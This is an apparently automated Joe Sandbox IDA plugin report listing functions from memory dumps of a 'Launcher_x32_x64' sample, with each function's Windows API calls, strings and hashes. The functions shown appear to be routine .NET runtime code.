Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: AllocVirtual$CacheCurrentFlushInstructionProcess
String ID:
API String ID: 1542303082-0
Opcode ID: 178059eaf662896301e1397852f9ac4f1838eb99bc854b49fd838487e0c691d8
Instruction ID: 1024d432f90de433307273c318cf99aba5d41db77f6f1a751568ca812a15a945
Opcode Fuzzy Hash: 178059eaf662896301e1397852f9ac4f1838eb99bc854b49fd838487e0c691d8
Instruction Fuzzy Hash: 1531D371B04205ABDB30DF59EC94F5BBBFCEB85760F10456AF951C7280D6359800CB50

Function 00ED21D0 Relevance: 6.1, APIs: 4, Instructions: 76threadCOMMON

Download Yara Rule

APIs

SetThreadErrorMode.KERNEL32(00008001,0128BF66,95E4D7D1), ref: 00ED222C
SetThreadErrorMode.KERNEL32(0128BF66,00000000,?,00000003,00000080), ref: 00ED22A5

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorModeThread
String ID:
API String ID: 3782313741-0
Opcode ID: 0f5fa695d0621bf698c788e71129c4c4d11fa09a96fff56e2bf8d1c1bc576499
Instruction ID: c9a6030137ddcd2c57ddf10605ba1fa30b9c09e7fe604d254f364261d2b12002
Opcode Fuzzy Hash: 0f5fa695d0621bf698c788e71129c4c4d11fa09a96fff56e2bf8d1c1bc576499
Instruction Fuzzy Hash: FC21E176940215DFD720CFA8D905BAABBF8FB08724F20461EE951B37E0C7B4A905CB90

Function 00F07770 Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMON

Download Yara Rule

APIs

SetThreadErrorMode.KERNEL32(00008001,?), ref: 00F077A9

Part of subcall function 0109DAF0: LoadLibraryExW.KERNELBASE(?,00000000,?,?,?,00000000,FaultRep.dll,95E4D7D1,00000001,?,?), ref: 0109DC41
Part of subcall function 0109DAF0: GetLastError.KERNEL32 ref: 0109DC4F
Part of subcall function 0109DAF0: SetLastError.KERNEL32(00000000), ref: 0109DD84

GetLastError.KERNEL32(0128B804), ref: 00F077C5
SetThreadErrorMode.KERNEL32(?,00000000), ref: 00F077DF
SetLastError.KERNEL32(00000000), ref: 00F077E6

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Error$Last$ModeThread$LibraryLoad
String ID:
API String ID: 3861856538-0
Opcode ID: 85199ec02b691d94d3b4bbd6c86c0a6e9c7b1828c8c43f0908c83bf549072c1c
Instruction ID: 7affe4544b7adf676c69b3a2a28b488ff8c00442da05d1f8a04dc277f162d457
Opcode Fuzzy Hash: 85199ec02b691d94d3b4bbd6c86c0a6e9c7b1828c8c43f0908c83bf549072c1c
Instruction Fuzzy Hash: 85014076944208AFCB20DF58D949B9EBBBCEB44764F10426AE911E32D0D7755904CB90

Function 00FF3CA0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 129COMMON

Download Yara Rule

APIs

WerRegisterRuntimeExceptionModule.KERNELBASE(00000000,00E30000,?,95E4D7D1,03A45CC0,00000000), ref: 00FF3E18

Strings

WATSON support: failed to register DAC dll with WerRegisterRuntimeExceptionModule, xrefs: 00FF3F46
WATSON support: registered DAC dll with WerRegisterRuntimeExceptionModule, xrefs: 00FF3F6B

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ExceptionModuleRegisterRuntime
String ID: WATSON support: failed to register DAC dll with WerRegisterRuntimeExceptionModule$WATSON support: registered DAC dll with WerRegisterRuntimeExceptionModule
API String ID: 634786029-3965477652
Opcode ID: 5781c0f90d34b929ced7facdb5bd88149765514160f75444eb6a89f3cbdffdde
Instruction ID: 45cfe442dc3112fec44211cd1f5ecb6aa59d4d5ba871b5a1da571a3c9d6f0668
Opcode Fuzzy Hash: 5781c0f90d34b929ced7facdb5bd88149765514160f75444eb6a89f3cbdffdde
Instruction Fuzzy Hash: DB514470C05258DBDB24CF28CD49BEABBB4EB14714F1042D9E808AB3A1DB751A88DF80

Function 00EF5200 Relevance: 5.4, APIs: 4, Instructions: 367memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EECB40: SleepEx.KERNEL32(0000000A,00000000,00000104,00000104,0113E226), ref: 00EECB68

GetProcessHeap.KERNEL32 ref: 00EF55F0
HeapAlloc.KERNEL32(03A20000,00000000,000002CC), ref: 00EF560B
GetProcessHeap.KERNEL32 ref: 00EF5663
HeapAlloc.KERNEL32(03A20000,00000000,0000000C), ref: 00EF5680

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$AllocProcess$Sleep
String ID:
API String ID: 207374558-0
Opcode ID: 9d382f51e9c6c480288c8a976c71b1f4aaa5b14ada0e00ea12d3fc59af7961d3
Instruction ID: 3486975057ac1713718966cebca4a298c368502585dbec9845dac8d02e1107de
Opcode Fuzzy Hash: 9d382f51e9c6c480288c8a976c71b1f4aaa5b14ada0e00ea12d3fc59af7961d3
Instruction Fuzzy Hash: A70225B0A01B06DFE764CF28D49879AFBF4BB09314F20861ED5A9AB390D7B56514CF90

Function 00F4FD60 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(03A45D40,00000001,0A552458,?), ref: 00F4FDD2

Strings

X$UX$U, xrefs: 00F4FE3C, 00F4FE45
NotSupported_COM, xrefs: 00F4FE67

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Event
String ID: NotSupported_COM$X$UX$U
API String ID: 4201588131-191130307
Opcode ID: 23c0321464ad15c2b0d76125072e5a5d617b54c916af28e9df015579c808141f
Instruction ID: afcf79f7478b9bc8eb54d7e3f1aa3afc8ca7727ff0b88526515e6eb14db5d706
Opcode Fuzzy Hash: 23c0321464ad15c2b0d76125072e5a5d617b54c916af28e9df015579c808141f
Instruction Fuzzy Hash: C931F331B002048FD314EB68E8D1B9677E2EB88711F208079FD4D8B7AADB759C45DB91

Function 00E32C80 Relevance: 5.3, APIs: 4, Instructions: 296COMMON

Download Yara Rule

APIs

Part of subcall function 01086B90: GetProcessHeap.KERNEL32(?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002,00000002,?,95E4D7D1), ref: 01086B9C
Part of subcall function 01086B90: RtlAllocateHeap.NTDLL(03A20000,00000000,00000002,?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002), ref: 01086BBA

Part of subcall function 00EEFBB0: LeaveCriticalSection.KERNEL32(014B0F64,95E4D7D1,03A45CC0), ref: 00EEFC5B

InitializeCriticalSection.KERNEL32(014B0AA0,?,?,?,?,?,?,?,?,00000000,?,C0000000,01324ECE,000000FF), ref: 00E32F5C
InitializeCriticalSection.KERNEL32(014B0A84,?,?,?,?,?,?,?,?,00000000,?,C0000000,01324ECE,000000FF), ref: 00E32F85
InitializeCriticalSection.KERNEL32(014B0F30,014B9560,014B9CE0,00000000), ref: 00E33105
InitializeCriticalSection.KERNEL32(014B9F24), ref: 00E3312E

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalSection$Initialize$Heap$AllocateLeaveProcess
String ID:
API String ID: 3913766473-0
Opcode ID: 404cd31f53dcc4b8335f8929fd0940b1e7bb5a4f63fefc6071321955a229c109
Instruction ID: ed04839436c59b1f30a1f87613bcf2a1291751686598c41afc2e69594d0d76fc
Opcode Fuzzy Hash: 404cd31f53dcc4b8335f8929fd0940b1e7bb5a4f63fefc6071321955a229c109
Instruction Fuzzy Hash: 0FD17EB0905388DFEB20DFA8D55938E7EF0AB0131CF10869DD554AB3D1E7B98A04DB61

Function 0109DDD0 Relevance: 4.6, APIs: 3, Instructions: 110fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3F800: wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,00000004,00000000,95E4D7D1,00000000,?), ref: 00E3F88C

Part of subcall function 00E3B170: HeapFree.KERNEL32(00000000,?,95E4D7D1,?,00000000,01326B2D,000000FF,?,00F44716,00000000), ref: 00E3B1B3

CreateFileW.KERNELBASE(00000000,40000000,00000080,00000000,?,?,00000000,?,00000000,00000000,00000000,95E4D7D1,00000000,00000000,00000000), ref: 0109DF4C
GetLastError.KERNEL32(?,00000000,00000000,00000000,95E4D7D1,00000000,00000000,00000000), ref: 0109DF5A
SetLastError.KERNEL32(00000000), ref: 0109E090

Part of subcall function 01094940: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 01094A56

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorFreeHeapLast$CreateFilewcscpy_s
String ID:
API String ID: 2733571464-0
Opcode ID: c246ac89bab63796eb000b02cb0c8d1e1c51e04a0271058bcb827f379b2495dc
Instruction ID: 207e019da2a4256013b69f897b8f442b889a3f48fc476d1adf5b20f069d9129e
Opcode Fuzzy Hash: c246ac89bab63796eb000b02cb0c8d1e1c51e04a0271058bcb827f379b2495dc
Instruction Fuzzy Hash: 80511771805268EEDB20DFA8DD98BDDBBB4EB08314F2042D9E409A7291DB755F88CF51

Function 01098EE0 Relevance: 4.6, APIs: 3, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(95E4D7D1,80131506,?), ref: 0108BDCE
Part of subcall function 0108BD60: wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,?), ref: 0108BDE2
Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0108BDEE
Part of subcall function 0108BD60: HeapFree.KERNEL32(00000000,00000000), ref: 0108BE12

GetCurrentProcess.KERNEL32(?,?,?,00F45A12,95E4D7D1,00000000,?,00000000), ref: 01098F36
GetProcessAffinityMask.KERNEL32(00000000), ref: 01098F3D
QueryInformationJobObject.KERNEL32(00000000,0000000F,?,00000008,00000000), ref: 01098F74

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Process_errno$AffinityCurrentFreeHeapInformationMaskObjectQuerywcstoul
String ID:
API String ID: 286315805-0
Opcode ID: cb21118474ed428dc9b84b2f17b8499e14b705f189927210cc7ebbf7bb17efd7
Instruction ID: 2df6e641bcf3f550bf145f3d1b07e540a8daf4f9a1aa5201bbce3dadff75bc1c
Opcode Fuzzy Hash: cb21118474ed428dc9b84b2f17b8499e14b705f189927210cc7ebbf7bb17efd7
Instruction Fuzzy Hash: 572126315042198BDF38DB18D8B4B6AB3EAAB42710F00D56BF7D1DA294E774D804DB92

Function 0109EFA0 Relevance: 4.6, APIs: 3, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(95E4D7D1,80131506,?), ref: 0108BDCE
Part of subcall function 0108BD60: wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,?), ref: 0108BDE2
Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0108BDEE
Part of subcall function 0108BD60: HeapFree.KERNEL32(00000000,00000000), ref: 0108BE12

GetProcessHeap.KERNEL32(?,?,01289701), ref: 0109EFCD
HeapAlloc.KERNEL32(03A20000,00000000,00000028,00000000,?,?,01289701), ref: 0109EFEB
CreateFileMappingA.KERNEL32(000000FF,00000000,04000040,00000000,000000FF,00000000), ref: 0109F085

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$_errno$AllocCreateFileFreeMappingProcesswcstoul
String ID:
API String ID: 4279892807-0
Opcode ID: 2948e5e36f30eb0ae10279394c91667f22ae353eaf01b617037e2e4e75399454
Instruction ID: d072026e4d13a1b5e56b345295f90c1af668b28c73e46f8712d1b569a538087c
Opcode Fuzzy Hash: 2948e5e36f30eb0ae10279394c91667f22ae353eaf01b617037e2e4e75399454
Instruction Fuzzy Hash: 6C21F4706147019FE731DF38E898742BBE8EB45324F10875DE9999B7D0DBB5A4448BC0

Function 00F4ACF0 Relevance: 4.5, APIs: 3, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 00EF5D70: SetEvent.KERNEL32(03A42950,?,95E4D7D1,?), ref: 00EF602C

SetEvent.KERNEL32(03A45D40,00000001), ref: 00F4AD6C
SetEvent.KERNEL32(03A45D50,00000001), ref: 00F4AD87
SleepEx.KERNEL32(000000FF,00000000), ref: 00F4ADAA

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Event$Sleep
String ID:
API String ID: 1754279505-0
Opcode ID: f00b732e42eb9ea418f4db61804dbcdb0a070f3257ed2a4aaaea42f6965df3dc
Instruction ID: 57d9b9bbc5becb8ee2069779d1cf73fabf9639bf153c6d05f7aa869a3c73aff4
Opcode Fuzzy Hash: f00b732e42eb9ea418f4db61804dbcdb0a070f3257ed2a4aaaea42f6965df3dc
Instruction Fuzzy Hash: 1711A030A00204DFEB20EF64F4E8B597BF4FB06711F248069E8419B6B5DB319846CF02

Function 0109F6F0 Relevance: 3.9, APIs: 3, Instructions: 131memoryCOMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(03A80888,00000000,?,95E4D7D1,?,00000129,?,00EF4E45,95E4D7D1,?,00000000), ref: 0109F76C

Part of subcall function 01319FE0: GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A015
Part of subcall function 01319FE0: GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A036
Part of subcall function 01319FE0: GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A05B
Part of subcall function 01319FE0: GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A083
Part of subcall function 01319FE0: GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A0A9
Part of subcall function 01319FE0: GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A0C9
Part of subcall function 01319FE0: MapViewOfFile.KERNELBASE(00000129,00000026,00000000,?,00000129,00000000,03A80888,03A44798), ref: 0131A0E7

LeaveCriticalSection.KERNEL32(03A80888,95E4D7D1,?,00000000,00000000,00000000,00000000,?,95E4D7D1,?,00000129,?,00EF4E45,95E4D7D1,?,00000000), ref: 0109F803
VirtualAlloc.KERNEL32(00000000,00000000,00002000,00000001,95E4D7D1,?,00000129,?,00EF4E45,95E4D7D1,?,00000000), ref: 0109F867

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: InfoSystem$CriticalLeaveSection$AllocFileViewVirtual
String ID:
API String ID: 1604825630-0
Opcode ID: ae8bbb0f47c6d3bda95c5db7fcb598a6797197fa10b2c9158019b28f1a1f33ac
Instruction ID: 95d60ac5fd763e56112bb34a21cd81c4a3dd50aaf1ddbdf8dcd8c0670e9d7f94
Opcode Fuzzy Hash: ae8bbb0f47c6d3bda95c5db7fcb598a6797197fa10b2c9158019b28f1a1f33ac
Instruction Fuzzy Hash: DC41FF75A006069FEB64CF58C854BAEFFF4FB44724F0042AAD954D73A0C731A401DB90

Function 0109B6B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,?,?,D:\a\_work\1\s\src\coreclr\vm\threads.cpp,0000047B), ref: 0109B752

Strings

D:\a\_work\1\s\src\coreclr\vm\threads.cpp, xrefs: 0109B6B7

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: InfoSystem
